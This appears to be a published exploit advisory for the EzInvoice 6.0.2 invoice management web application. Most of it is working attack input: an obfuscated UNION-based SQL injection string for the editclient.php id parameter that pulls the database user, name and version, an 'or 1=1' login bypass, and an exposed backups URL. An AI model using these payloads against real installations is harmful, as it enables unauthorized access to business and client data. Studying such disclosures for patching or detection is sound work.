# # # # # 
# Exploit Title: EzInvoice - Invoice Management System 6.0.2 - SQL Injection
# Dork: N/A
# Date: 07.09.2017
# Vendor Homepage: http://www.mysticdreams.net/
# Software Link: http://www.mysticdreams.net/resources/ezinvoice_demo.zip
# Demo: http://www.mysticdreams.net/products/ezinvoice/
# Version: 6.0.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# Sql
# http://localhost/[PATH]/editclient.php?id=[SQL]
# -100+/*!11122UniOn*/+/*!11122SeleCt*/+0x283129,/*!11122CONCAT_WS*/(0x203a20,/*!11122USER*/(),/*!11122DATABASE*/(),VERSION()),0x283329,/*!11122CONCAT_WS*/(0x203a20,/*!11122USER*/(),/*!11122DATABASE*/(),VERSION()),/*!11122CONCAT_WS*/(0x203a20,/*!11122USER*/(),/*!11122DATABASE*/(),VERSION()),/*!11122CONCAT_WS*/(0x203a20,/*!11122USER*/(),/*!11122DATABASE*/(),VERSION())--+-
# 
# Bypass
# http://localhost/[PATH]/index.php
# User: 'or 1=1 or ''=' Pass: anything
# 
# Backup
# http://localhost/[PATH]/backups/index.php?client_name=admin
# 
# Etc...
# # # # #